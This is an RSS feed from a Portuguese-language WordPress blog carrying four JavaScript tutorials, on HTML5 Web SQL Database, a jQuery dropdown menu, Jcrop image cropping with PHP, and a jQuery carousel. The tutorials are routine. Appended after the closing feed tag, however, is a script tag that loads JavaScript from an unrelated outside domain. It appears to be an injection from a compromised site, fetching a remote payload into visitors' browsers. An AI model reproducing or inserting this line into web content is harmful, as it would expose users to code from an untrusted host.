<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Blog do Marcos &#187; jQuery</title>
	<atom:link href="http://marcos.blog.br/category/jquery/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcos.blog.br</link>
	<description>badulaques, gadgets e outros...</description>
	<lastBuildDate>Mon, 12 Jul 2010 21:15:50 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Usando a API &#8220;Web SQL Database&#8221; do HTML 5</title>
		<link>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/</link>
		<comments>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 03:16:57 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[HTML5]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[WebApp]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[Web SQL Database]]></category>
		<category><![CDATA[Web Storage]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=245</guid>
		<description><![CDATA[Como vimos no artigo anterior, uma das novidades do HTML 5 é o Web SQL Database, que permite utilizar SQL para armazenar dados no lado do cliente através do SQLite. Vamos ver o seu funcionamento passo-a-passo a seguir: Abrindo uma Conexão var db = openDatabase('CONTATOS', '0.1', 'Lista de contatos', 200000); O código acima cria um ]]></description>
			<content:encoded><![CDATA[<p><a  href="http://marcos.blog.br/2010/07/html-5-web-storage-e-web-sql-database/" target="_self">Como vimos no artigo anterior</a>, uma das novidades do HTML 5 é o <strong>Web SQL Database</strong>, que permite utilizar <strong>SQL para armazenar dados no lado do cliente através do SQLite</strong>. Vamos ver o seu funcionamento passo-a-passo a seguir:<br />
<br/></p>
<h2>Abrindo uma Conexão</h2>
<pre class="brush:javascript">
var db = openDatabase('CONTATOS', '0.1', 'Lista de contatos', 200000);
</pre>
<p>O código acima cria um <strong>objeto de banco de dados &#8220;db&#8221;</strong> com 4 argumentos:</p>
<p>1. Nome do banco de dados;<br />
2. Versão;<br />
3. Descrição;<br />
4. Tamanho estimado da base de dados.</p>
<p><strong>Não se preocupe com o tamanho da base de dados pois ela é flexível</strong>. Aparentemente ao exceder o tamanho o navegador mostrará ao usuário uma janela pedindo autorização para expandir o espaço.</p>
<p>Para testar se a conexão foi criada com sucesso, basta verificar se &#8220;db&#8221; é nulo:</p>
<pre class="brush:javascript">

if (! db) alert (&quot;Falha ao conectar no banco de dados.&quot;);
</pre>
<p><strong>É muito importante fazer este teste de conexão</strong> antes de qualquer outro código pois existem várias razões pela qual o navegador poderá negar acesso ao banco, como por exemplo por questões de segurança e espaço.<br />
<br/></p>
<h2>Criando uma Tabela</h2>
<pre class="brush:javascript">

db.transaction(function (tx) {
        tx.executeSql('CREATE TABLE IF NOT EXISTS contatos (id INTEGER PRIMARY  KEY AUTOINCREMENT, nome VARCHAR, tel INTEGER)');
});
</pre>
<p><em>(Para  saber os <strong>Datatypes do SQLite</strong> visite a página <a  href="http://www.sqlite.org/datatype3.html" target="_blank">Datatypes In SQLite Version 3</a>.)</em><br />
<br/></p>
<h2>Executando Consultas</h2>
<p>O bacana desta API é que ela<strong> trata as operações como transações</strong>. Com transações é possível <strong>reverter as operações em caso de erro</strong>. <strong>Cada transação pode conter várias SQL</strong> e caso alguma apresente falha, nada é alterado no banco, preservando sua consistência.</p>
<p>Há também <strong><em>erro</em></strong> e <em><strong>callbacks</strong> de sucesso</em> na transação, assim você pode gerenciar os erros, mas é importante entender que as operações têm a capacidade de reverter as mudanças.</p>
<p><strong>Transação é uma simples função que contém os códigos SQL</strong>:</p>
<pre class="brush:javascript">

db.transaction(function (tx) {
        // Aqui acontece a mágina com a SQL utilizando o objeto &quot;tx&quot; que foi passado por parâmetro
});
</pre>
<p>Para ficar mais claro, vamos a alguns exemplos:<br />
<br/></p>
<h2>Inserindo um Registro</h2>
<pre class="brush:javascript">

db.transaction(function(tx) {
        tx.executeSql('INSERT INTO contatos (nome, tel) VALUES (?,?)', ['Marcos', '2222-3333'], null, function(tx, e) {
                // caso ocorra algum erro
                alert(e.message);
        });
});
</pre>
<p><br/></p>
<h2>Lendo os Registros</h2>
<pre class="brush:javascript">

// busca os contatos do banco
db.transaction(function (tx) {
        tx.executeSql('SELECT * FROM contatos', [], function (tx, resultado) {
                for (i = 0; i &amp;amp;lt; resultado.rows.length; i++)
                        alert(resultado.rows.item(i)['nome']);
        });
});
</pre>
<p><br/></p>
<h2>Exemplo Funcional</h2>
<p><strong>Atenção, verifique se o seu navegador tem suporte a Web SQL Database antes de clicar no exemplo.</strong></p>
<p><strong><a  href="http://marcos.blog.br/exemplos/web-sql-storage/exemplo-html5-web-sql-storage.html" target="_blank">Simples Exemplo de uso do HTML Web SQL Storage.</a></strong></p>
<p><strong>Gostou? Deixe um comentário!</strong></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/07/usando-a-api-web-sql-database-do-html-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Simples Menu DropDown com Jquery sem utlizar Plugin</title>
		<link>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/</link>
		<comments>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/#comments</comments>
		<pubDate>Wed, 21 Apr 2010 20:33:42 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[menu]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=168</guid>
		<description><![CDATA[Existem centenas de plugins para criação de menu dropdown para jQuery. Porém quando você quer algo bem simples, não há por que utilizar um plugin com sei lá quantos kb a mais. Então segue um simples código para resolver esta situação de forma bem simples: $(function(){ $('#id-do-item-pai, #sub-menu').mouseover(function(){ $('#sub-menu').css('display','block'); }).mouseout(function(){ $('#sub-menu').css('display','none'); }); }); E o ]]></description>
			<content:encoded><![CDATA[<p>Existem centenas de plugins para criação de menu dropdown para jQuery. Porém quando você quer algo bem simples, não há por que utilizar um plugin com sei lá quantos kb a mais.</p>
<p>Então segue um simples código para resolver esta situação de forma bem simples:</p>
<pre class="brush:javascript">
$(function(){
	$('#id-do-item-pai, #sub-menu').mouseover(function(){
		$('#sub-menu').css('display','block');
	}).mouseout(function(){
		$('#sub-menu').css('display','none');
	});
});
</pre>
<p>E o HTML seria algo como: </p>
<pre class="brush:html">
<li>
	<a  id="id-do-item-pai" href="#">Ítem Pai</a>
<ul id="sub-menu" style="display: none">
<li><a  href="#">Sub ítem 01</a></li>
<li><a  href="#">Sub ítem 02</a></li>
</ul>
</li>
</pre>
<p>Simples assim.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2010/04/simples-menu-dropdown-com-jquery-sem-utlizar-plugin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selecionando e recortando imagem com jQuery</title>
		<link>http://marcos.blog.br/2009/09/selecionando-e-recortando-imagem-com-jquery/</link>
		<comments>http://marcos.blog.br/2009/09/selecionando-e-recortando-imagem-com-jquery/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 16:51:03 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Dicas]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=85</guid>
		<description><![CDATA[Todo mundo já deve ter visto em alguns sites, ao inserir a imagem do profile, uma tela onde vc seleciona parte da imagem que vc fez upload para ser recortada. A maioria já pré-estabelece a proporção correta para que seu avatar não fique feio ao ser exibido no layout do site. O bom dessas ferramentas, ]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-86" style="margin-left: 5px; margin-right: 5px;" title="Jcrop" src="http://marcos.blog.br/wp-content/uploads/2009/09/Jcrop.jpg" alt="Jcrop" width="214" height="190" />Todo mundo já deve ter visto em alguns sites, ao inserir a imagem do profile, uma tela onde vc seleciona parte da imagem que vc fez upload para ser recortada. A maioria já pré-estabelece a proporção correta para que seu avatar não fique feio ao ser exibido no layout do site.</p>
<p>O bom dessas ferramentas, é que elas podem ser usadas em sistemas CMS onde usuários leigos podem inserir tranquilamente a imagem da matéria de capa sem ter que depender de um designer (e sem estragar o layout dele).</p>
<p>Uma ferramenta poderosa é o <a  href="http://deepliquid.com/projects/Jcrop/demos.php" target="_blank">Jcrop</a>, ela oferece bloqueio de proporção, animação e você ainda pode personalizar o css e deixar mais a cara da sua aplicação. E ainda é cross-browser.</p>
<p>Como usar é bem simples, basta incluir o arquivo do plugin e aplicar o plugin com o seguinte comando:</p>
<pre id="line45">
<pre class="brush:javascript">

$(function(){
	$('#id-da-imagem').Jcrop();
});
</pre>
</pre>
<p>Claro que esta é a forma mais simples, mas na área de <a  href="http://deepliquid.com/projects/Jcrop/demos.php" target="_blank">exemplos do site</a> existem os códigos para você incrementar este código da maneira que você precisar.</p>
<p>Mas não pára por aí, não adianta selecionar a parte da imagem que você quer se não houver o corte da imagem. Para isso vou usar o exemplo do próprio autor utilizando a biblioteca GD do PHP.</p>
<p>Antes de mais nada, precisamos postar as posições a serem cortadas. Para isso, utilize campos input hidden da seguinte forma:</p>
<pre class="brush:html">
<input type="hidden" id="x" name="x" />
<input type="hidden" id="y" name="y" />
<input type="hidden" id="w" name="w" />
<input type="hidden" id="h" name="h" />
</pre>
<p>E a seguinte função para popular esses campos:</p>
<pre class="brush:javascript">
jQuery(function(){
        jQuery('#id-da-imagem').Jcrop({
                aspectRatio: 1,
                onSelect: updateCoords
        });
});

function updateCoords(c)
{
        jQuery('#x').val(c.x);
        jQuery('#y').val(c.y);
        jQuery('#w').val(c.w);
        jQuery('#h').val(c.h);
};
</pre>
<p>Postado as coordenadas da imagem, utilizamos o seguinte código PHP para criar a nova imagem:</p>
<pre class="brush:php">
$targ_w = $targ_h = 150;
$jpeg_quality = 90;

$src = 'demo_files/flowers.jpg';
$img_r = imagecreatefromjpeg($src);
$dst_r = ImageCreateTrueColor( $targ_w, $targ_h );

imagecopyresampled($dst_r,$img_r,0,0,$_POST['x'],$_POST['y'],
    $targ_w,$targ_h,$_POST['w'],$_POST['h']);

header('Content-type: image/jpeg');
imagejpeg($dst_r, null, $jpeg_quality);
</pre>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/selecionando-e-recortando-imagem-com-jquery/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Carrossel com Jquery</title>
		<link>http://marcos.blog.br/2009/09/carrossel-com-jquery/</link>
		<comments>http://marcos.blog.br/2009/09/carrossel-com-jquery/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 04:05:45 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=55</guid>
		<description><![CDATA[Existe Plugins para tudo quando se está falando em jQuery. Porém a algum tempo atrás eu precisei de um plugin para fazer um carrossel para exibir alguns elementos de lista (&#60;li&#62;) de forma mais bacana no site da Interwise. No entanto, a maioria dos plugins que encontrei eram já desenhados pensando em imagens. Os que ]]></description>
			<content:encoded><![CDATA[<p>Existe <a  href="http://plugins.jquery.com/" target="_blank">Plugins</a> para tudo quando se está falando em jQuery. Porém a algum tempo atrás eu precisei de um plugin para fazer um carrossel para exibir alguns elementos de lista (&lt;li&gt;) de forma mais bacana no site da <a  href="http://interwise.com.br" target="_blank">Interwise</a>.</p>
<p>No entanto, a maioria dos plugins que encontrei eram já desenhados pensando em imagens. Os que eram mais genéricos, eram grandes, de difícil personalização.</p>
<p>Perdi tanto tempo testando que nem me lembrei de como é fácil fazer as coisas com jQuery. Foi aí que resolvi escrever um código simples que resolvesse o meu problema.</p>
<p>E a seguir está o código. Simples, fácil de personalizar e que resolveu a situação.</p>
<pre class="brush:javascript">
var tamCarrosel = ($("#carroselEfeito li").length-1);

$('#carrosel_proximo').click(function() {
	if(i == 0)
		$('#seta_esquerda a').css({'backgroundPosition':'0 0'});
	if(i < tamCarrosel){
		$('#carroselEfeito li').eq(i).animate({ left : "-"+700}, function() {
			$('#carroselEfeito li').eq(i+1).css({ left: "700px"});
			$('#carroselEfeito li').eq(i).hide();
			$('#carroselEfeito li').eq(i+1).animate({left: "-"+0});
			i++;
			if(i == tamCarrosel)
				$('#seta_direita a').css({'backgroundPosition':'0 75px'});
		});
	}
});
$('#carrosel_anterior').click(function(){
	if(i == tamCarrosel)
		$('#seta_direita a').css({'backgroundPosition':'0 0'});
	if(0 < tamCarrosel &#038;&#038; i>0){
		$('#carroselEfeito li').eq(i).animate({left : "+"+700}, function(){
			$('#carroselEfeito li').eq(i-1).css({right: "700px"});
			$('#carroselEfeito li').eq(i).hide();
			$('#carroselEfeito li').eq(i-1).animate({left: "-"+0});
			i--;
			if(i == 0)
				$('#seta_esquerda a').css({'backgroundPosition':'0 75px'});
		});
	}
});
</pre>
<p>E o HTML, mais simples ainda:</p>
<pre class="brush:html">
<code>
<div id="carrosel">
<div class="centro">
<div id="seta_esquerda"><a id="carrosel_anterior" href="javascript:void(0)"></a></div>
<div id="conteudo_carrosel">
<ul id="carroselEfeito">
<li>ítem 01</li>
<li>ítem 02</li>
<li>ítem n</li>
</ul></div>
<div id="seta_direita"><a id="carrosel_proximo" href="javascript:void(0)"></a></div>
</div>
</div>

</code>
</pre>
<p>Vou sempre postar os plugins mais interessantes que já testei para que outros economizem o tempo que já gastei pesquisando sobre. Obviamente que algumas cada caso é um caso. <img src='http://marcos.blog.br/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/carrossel-com-jquery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>